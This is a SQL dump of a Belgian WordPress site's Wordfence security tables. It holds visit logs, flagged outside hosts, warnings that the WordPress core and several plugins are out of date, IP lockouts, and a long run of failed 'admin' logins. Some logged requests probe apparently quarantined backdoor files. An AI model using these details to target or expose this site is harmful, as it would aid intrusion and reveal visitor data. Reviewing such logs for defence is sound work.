(76082, 1498338824.199501, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76083, 1498338824.669252, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76084, 1498338825.129597, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76085, 1498338825.804344, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76086, 1498338826.610757, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76087, 1498338827.113264, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76088, 1498338827.617272, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76089, 1498338828.050573, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76090, 1498338828.478529, 632837775, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(76091, 1498338928.876753, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76092, 1498338928.876754, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/les-seances-namur/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76093, 1498339370.214025, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/category/uncategorized/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76094, 1498339832.498876, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/author/admin/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76095, 1498340283.093724, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/category/uncategorized/feed/', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(76096, 1498342363.434258, 1753276934, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-form-ajax.php.suspected', 'http://crosstrainingcenter.be/wp-form-ajax.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76097, 1498348039.925921, 1541139809, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/', 'http://crosstrainingcenter.be/', 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/533.02.49 (KHTML, like Gecko) Chrome/57.4.9071.4708 Safari/533.32'),
(76098, 1498348047.881172, 1541139809, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/', 'http://crosstrainingcenter.be/', 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/533.02.49 (KHTML, like Gecko) Chrome/57.4.9071.4708 Safari/533.32'),
(76099, 1498358225.110233, 2637637409, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)'),
(76100, 1498365325.772971, 1311686202, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/ajax-requests.new.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/ajax-requests.new.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76101, 1498365559.977278, 1123631300, 0, 1, 1, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Googlebot-Image/1.0'),
(76102, 1498371548.148877, 1538512053, 1, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'https://www.google.be/', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'),
(76103, 1498371550.072558, 1538512053, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'),
(76104, 1498371703.917982, 3024883475, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2'),
(76105, 1498371704.444517, 3024883483, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2'),
(76106, 1498373703.674665, 3024883618, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/hello-world/', '', 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'),
(76107, 1498375362.982192, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.2.5 (KHTML, like Gecko)'),
(76108, 1498375363.800755, 1837280593, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76109, 1498375364.222519, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76110, 1498375364.671332, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76111, 1498375365.241133, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76112, 1498375365.672449, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76113, 1498375366.111291, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76114, 1498375366.994780, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A300 Safari/602.1'),
(76115, 1498375367.524259, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76116, 1498375368.131610, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76117, 1498375368.645680, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76118, 1498375369.286437, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76119, 1498375369.764507, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76120, 1498375370.198607, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76121, 1498376142.946227, 1538656104, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko)'),
(76122, 1498376143.476184, 1538656104, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/12603.1.30.0.34 CFNetwork/811.4.18 Darwin/16.5.0 (x86_64)'),
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-- --------------------------------------------------------

--
-- Structure de la table `www2_wfHoover`
--

CREATE TABLE `www2_wfHoover` (
  `id` int(10) UNSIGNED NOT NULL,
  `owner` text,
  `host` text,
  `path` text,
  `hostKey` binary(4) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfHoover`
--

INSERT INTO `www2_wfHoover` (`id`, `owner`, `host`, `path`, `hostKey`) VALUES
(1, '1', 'fjiauool.com', '/', 0x0c2e4e02),
(2, '1', 'stpicks.com', '/27', 0x2ac36238),
(3, '1', 'pcgroup.com.uy', '/15', 0x296f4be1),
(4, '1', 'pcgroup.com.uy', '/15', 0xbe7f7f70),
(5, '1', 'pcgroup.com.uy', '/2a', 0x296f4be1),
(6, '1', 'pcgroup.com.uy', '/2a', 0xbe7f7f70),
(7, '1', '81.171.81.55', '/', 0x2b03814e);

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfIssues`
--

CREATE TABLE `www2_wfIssues` (
  `id` int(10) UNSIGNED NOT NULL,
  `time` int(10) UNSIGNED NOT NULL,
  `status` varchar(10) NOT NULL,
  `type` varchar(20) NOT NULL,
  `severity` tinyint(3) UNSIGNED NOT NULL,
  `ignoreP` char(32) NOT NULL,
  `ignoreC` char(32) NOT NULL,
  `shortMsg` varchar(255) NOT NULL,
  `longMsg` text,
  `data` text
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfIssues`
--

INSERT INTO `www2_wfIssues` (`id`, `time`, `status`, `type`, `severity`, `ignoreP`, `ignoreC`, `shortMsg`, `longMsg`, `data`) VALUES
(11220, 1492320260, 'new', 'wfPluginUpgrade', 1, '251c4825d966f36385a37786514c8853', '251c4825d966f36385a37786514c8853', 'The Plugin \&quot;Slideshow Manager\&quot; needs an upgrade.', 'You need to upgrade \&quot;Slideshow Manager\&quot; to the newest version to ensure you have any security fixes the developer has released.', 'a:12:{s:4:\&quot;Name\&quot;;s:17:\&quot;Slideshow Manager\&quot;;s:9:\&quot;PluginURI\&quot;;s:34:\&quot;http://rasmus.pw/slideshow-manager\&quot;;s:7:\&quot;Version\&quot;;s:5:\&quot;2.1.2\&quot;;s:11:\&quot;Description\&quot;;s:125:\&quot;Slideshow Manager for Wordpress &lt;cite&gt;By &lt;a href=\&quot;http://rasmus.pw\&quot; title=\&quot;Visit author homepage\&quot;&gt;Rasmus Johanson&lt;/a&gt;.&lt;/cite&gt;\&quot;;s:6:\&quot;Author\&quot;;s:76:\&quot;&lt;a href=\&quot;http://rasmus.pw\&quot; title=\&quot;Visit author homepage\&quot;&gt;Rasmus Johanson&lt;/a&gt;\&quot;;s:9:\&quot;AuthorURI\&quot;;s:16:\&quot;http://rasmus.pw\&quot;;s:10:\&quot;TextDomain\&quot;;s:0:\&quot;\&quot;;s:10:\&quot;DomainPath\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;Network\&quot;;b:0;s:5:\&quot;Title\&quot;;s:96:\&quot;&lt;a href=\&quot;http://rasmus.pw/slideshow-manager\&quot; title=\&quot;Visit plugin homepage\&quot;&gt;Slideshow Manager&lt;/a&gt;\&quot;;s:10:\&quot;AuthorName\&quot;;s:15:\&quot;Rasmus Johanson\&quot;;s:10:\&quot;newVersion\&quot;;s:5:\&quot;2.1.3\&quot;;}'),
(11221, 1492320260, 'new', 'wfThemeUpgrade', 1, 'c6c751f2716d4a026208678db23e15f4', 'c6c751f2716d4a026208678db23e15f4', 'The Theme \&quot;Figero\&quot; needs an upgrade.', 'You need to upgrade \&quot;Figero\&quot; to the newest version to ensure you have any security fixes the developer has released.', 'a:5:{s:10:\&quot;newVersion\&quot;;s:5:\&quot;1.5.6\&quot;;s:7:\&quot;package\&quot;;s:54:\&quot;https://downloads.wordpress.org/theme/figero.1.5.6.zip\&quot;;s:3:\&quot;URL\&quot;;s:36:\&quot;https://wordpress.org/themes/figero/\&quot;;s:4:\&quot;name\&quot;;s:6:\&quot;Figero\&quot;;s:7:\&quot;version\&quot;;s:5:\&quot;1.5.1\&quot;;}'),
(11218, 1492320260, 'new', 'wfPluginUpgrade', 1, '0647b9cfc99d721a9bfa1a6c42f780ec', '0647b9cfc99d721a9bfa1a6c42f780ec', 'The Plugin \&quot;Display widgets\&quot; needs an upgrade.', 'You need to upgrade \&quot;Display widgets\&quot; to the newest version to ensure you have any security fixes the developer has released.', 'a:12:{s:4:\&quot;Name\&quot;;s:15:\&quot;Display widgets\&quot;;s:9:\&quot;PluginURI\&quot;;s:38:\&quot;http://strategy11.com/display-widgets/\&quot;;s:7:\&quot;Version\&quot;;s:4:\&quot;1.24\&quot;;s:11:\&quot;Description\&quot;;s:155:\&quot;Adds checkboxes to each widget to show or hide on site pages. &lt;cite&gt;By &lt;a href=\&quot;http://strategy11.com\&quot; title=\&quot;Visit author homepage\&quot;&gt;Strategy11&lt;/a&gt;.&lt;/cite&gt;\&quot;;s:6:\&quot;Author\&quot;;s:76:\&quot;&lt;a href=\&quot;http://strategy11.com\&quot; title=\&quot;Visit author homepage\&quot;&gt;Strategy11&lt;/a&gt;\&quot;;s:9:\&quot;AuthorURI\&quot;;s:21:\&quot;http://strategy11.com\&quot;;s:10:\&quot;TextDomain\&quot;;s:0:\&quot;\&quot;;s:10:\&quot;DomainPath\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;Network\&quot;;b:0;s:5:\&quot;Title\&quot;;s:98:\&quot;&lt;a href=\&quot;http://strategy11.com/display-widgets/\&quot; title=\&quot;Visit plugin homepage\&quot;&gt;Display widgets&lt;/a&gt;\&quot;;s:10:\&quot;AuthorName\&quot;;s:10:\&quot;Strategy11\&quot;;s:10:\&quot;newVersion\&quot;;s:4:\&quot;2.05\&quot;;}'),
(11219, 1492320260, 'new', 'wfPluginUpgrade', 1, '25131a8272a928df146fde866da7d216', '25131a8272a928df146fde866da7d216', 'The Plugin \&quot;Google Analyticator\&quot; needs an upgrade.', 'You need to upgrade \&quot;Google Analyticator\&quot; to the newest version to ensure you have any security fixes the developer has released.', 'a:12:{s:4:\&quot;Name\&quot;;s:19:\&quot;Google Analyticator\&quot;;s:9:\&quot;PluginURI\&quot;;s:128:\&quot;http://www.videousermanuals.com/google-analyticator/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot;;s:7:\&quot;Version\&quot;;s:5:\&quot;6.4.5\&quot;;s:11:\&quot;Description\&quot;;s:425:\&quot;Adds the necessary JavaScript code to enable &lt;a href=\&quot;http://www.google.com/analytics/\&quot;&gt;Google&amp;#8217;s Analytics&lt;/a&gt;. After enabling this plugin you need to authenticate with Google, then select your domain and you&amp;#8217;re set. &lt;cite&gt;By &lt;a href=\&quot;http://www.videousermanuals.com/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot; title=\&quot;Visit author homepage\&quot;&gt;Video User Manuals Pty Ltd&lt;/a&gt;.&lt;/cite&gt;\&quot;;s:6:\&quot;Author\&quot;;s:179:\&quot;&lt;a href=\&quot;http://www.videousermanuals.com/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot; title=\&quot;Visit author homepage\&quot;&gt;Video User Manuals Pty Ltd&lt;/a&gt;\&quot;;s:9:\&quot;AuthorURI\&quot;;s:108:\&quot;http://www.videousermanuals.com/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot;;s:10:\&quot;TextDomain\&quot;;s:19:\&quot;google-analyticator\&quot;;s:10:\&quot;DomainPath\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;Network\&quot;;b:0;s:5:\&quot;Title\&quot;;s:192:\&quot;&lt;a href=\&quot;http://www.videousermanuals.com/google-analyticator/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot; title=\&quot;Visit plugin homepage\&quot;&gt;Google Analyticator&lt;/a&gt;\&quot;;s:10:\&quot;AuthorName\&quot;;s:26:\&quot;Video User Manuals Pty Ltd\&quot;;s:10:\&quot;newVersion\&quot;;s:5:\&quot;6.5.3\&quot;;}'),
(11216, 1492320260, 'new', 'wfUpgrade', 1, '0ae1093452ea46624c9b7e527c789fa7', '0ae1093452ea46624c9b7e527c789fa7', 'Your WordPress version is out of date', 'WordPress version 4.7.3 is now available. Please upgrade immediately to get the latest security updates from WordPress.', 'a:2:{s:14:\&quot;currentVersion\&quot;;s:6:\&quot;3.7.19\&quot;;s:10:\&quot;newVersion\&quot;;s:5:\&quot;4.7.3\&quot;;}'),
(11217, 1492320260, 'new', 'wfPluginUpgrade', 1, 'f26b251a2acbfbd93e6583d1f1386c75', 'f26b251a2acbfbd93e6583d1f1386c75', 'The Plugin \&quot;Akismet\&quot; needs an upgrade.', 'You need to upgrade \&quot;Akismet\&quot; to the newest version to ensure you have any security fixes the developer has released.', 'a:12:{s:4:\&quot;Name\&quot;;s:7:\&quot;Akismet\&quot;;s:9:\&quot;PluginURI\&quot;;s:31:\&quot;http://akismet.com/?return=true\&quot;;s:7:\&quot;Version\&quot;;s:6:\&quot;2.5.10\&quot;;s:11:\&quot;Description\&quot;;s:558:\&quot;Used by millions, Akismet is quite possibly the best way in the world to &lt;strong&gt;protect your blog from comment and trackback spam&lt;/strong&gt;. It keeps your site protected from spam even while you sleep. To get started: 1) Click the &amp;#8220;Activate&amp;#8221; link to the left of this description, 2) &lt;a href=\&quot;http://akismet.com/get/?return=true\&quot;&gt;Sign up for an Akismet API key&lt;/a&gt;, and 3) Go to your Akismet configuration page, and save your API key. &lt;cite&gt;By &lt;a href=\&quot;http://automattic.com/wordpress-plugins/\&quot; title=\&quot;Visit author homepage\&quot;&gt;Automattic&lt;/a&gt;.&lt;/cite&gt;\&quot;;s:6:\&quot;Author\&quot;;s:95:\&quot;&lt;a href=\&quot;http://automattic.com/wordpress-plugins/\&quot; title=\&quot;Visit author homepage\&quot;&gt;Automattic&lt;/a&gt;\&quot;;s:9:\&quot;AuthorURI\&quot;;s:40:\&quot;http://automattic.com/wordpress-plugins/\&quot;;s:10:\&quot;TextDomain\&quot;;s:0:\&quot;\&quot;;s:10:\&quot;DomainPath\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;Network\&quot;;b:0;s:5:\&quot;Title\&quot;;s:83:\&quot;&lt;a href=\&quot;http://akismet.com/?return=true\&quot; title=\&quot;Visit plugin homepage\&quot;&gt;Akismet&lt;/a&gt;\&quot;;s:10:\&quot;AuthorName\&quot;;s:10:\&quot;Automattic\&quot;;s:10:\&quot;newVersion\&quot;;s:3:\&quot;3.3\&quot;;}');

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfLeechers`
--

CREATE TABLE `www2_wfLeechers` (
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  `hits` int(10) UNSIGNED NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Déchargement des données de la table `www2_wfLeechers`
--

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-- --------------------------------------------------------

--
-- Structure de la table `www2_wfLockedOut`
--

CREATE TABLE `www2_wfLockedOut` (
  `IP` int(10) UNSIGNED NOT NULL,
  `blockedTime` bigint(20) NOT NULL,
  `reason` varchar(255) NOT NULL,
  `lastAttempt` int(10) UNSIGNED DEFAULT '0',
  `blockedHits` int(10) UNSIGNED DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfLockedOut`
--

INSERT INTO `www2_wfLockedOut` (`IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`) VALUES
(1840808480, 1497192285, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(2032808987, 1497197627, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(3682725338, 1498448313, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1466596995, 1497955206, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1255184110, 1498406406, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(887721709, 1499521764, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(136172254, 1497016384, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1168352192, 1496778654, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1728496878, 1496843770, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1049988935, 1496512596, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(96963116, 1496807811, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(3489067105, 1496649439, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1539837113, 1496016405, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(2760119799, 1493230816, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1589523921, 1493333441, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'administrator\'', 1493347507, 158);

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfLocs`
--

CREATE TABLE `www2_wfLocs` (
  `IP` int(10) UNSIGNED NOT NULL,
  `ctime` int(10) UNSIGNED NOT NULL,
  `failed` tinyint(3) UNSIGNED NOT NULL,
  `city` varchar(255) DEFAULT '',
  `region` varchar(255) DEFAULT '',
  `countryName` varchar(255) DEFAULT '',
  `countryCode` char(2) DEFAULT '',
  `lat` float(10,7) DEFAULT '0.0000000',
  `lon` float(10,7) DEFAULT '0.0000000'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfLogins`
--

CREATE TABLE `www2_wfLogins` (
  `id` int(10) UNSIGNED NOT NULL,
  `ctime` double(17,6) UNSIGNED NOT NULL,
  `fail` tinyint(3) UNSIGNED NOT NULL,
  `action` varchar(40) NOT NULL,
  `username` varchar(255) NOT NULL,
  `userID` int(10) UNSIGNED NOT NULL,
  `IP` int(10) UNSIGNED NOT NULL,
  `UA` text
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfLogins`
--

INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(101788, 1498073279.949281, 1, 'loginFailValidUsername', 'admin', 1, 3181235630, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101789, 1498073688.670281, 1, 'loginFailValidUsername', 'admin', 1, 1048588454, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101790, 1498073689.864582, 1, 'loginFailValidUsername', 'admin', 1, 1048588454, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101791, 1498075109.218547, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101792, 1498076382.462599, 1, 'loginFailValidUsername', 'admin', 1, 774982988, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101793, 1498076383.551099, 1, 'loginFailValidUsername', 'admin', 1, 774982988, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101794, 1498080682.271613, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101795, 1498081143.041395, 1, 'loginFailValidUsername', 'admin', 1, 3398322094, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101796, 1498081144.498527, 1, 'loginFailValidUsername', 'admin', 1, 3398322094, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101797, 1498086252.860838, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101798, 1498089428.373546, 1, 'loginFailValidUsername', 'admin', 1, 3305249319, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101799, 1498092121.459347, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101800, 1498095704.503463, 1, 'loginFailValidUsername', 'admin', 1, 469753397, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101801, 1498095706.134523, 1, 'loginFailValidUsername', 'admin', 1, 469753397, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101802, 1498099069.425965, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101803, 1498099839.511774, 1, 'loginFailValidUsername', 'admin', 1, 694796386, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101804, 1498099840.609148, 1, 'loginFailValidUsername', 'admin', 1, 694796386, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101805, 1498100668.263673, 1, 'loginFailValidUsername', 'admin', 1, 1950532940, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101806, 1498100669.541004, 1, 'loginFailValidUsername', 'admin', 1, 1950532940, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101807, 1498102063.342985, 1, 'loginFailValidUsername', 'admin', 1, 3551433226, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101808, 1498102064.842611, 1, 'loginFailValidUsername', 'admin', 1, 3551433226, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101809, 1498103802.810592, 1, 'loginFailValidUsername', 'admin', 1, 1442374565, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727)'),
(101810, 1498105147.419556, 1, 'loginFailValidUsername', 'admin', 1, 3139973540, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101811, 1498105508.725912, 1, 'loginFailValidUsername', 'admin', 1, 1091807106, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; AskTbORJ/5.14.1.20007; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)'),
(101812, 1498105998.825602, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101813, 1498110750.274674, 1, 'loginFailValidUsername', 'admin', 1, 1001457484, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
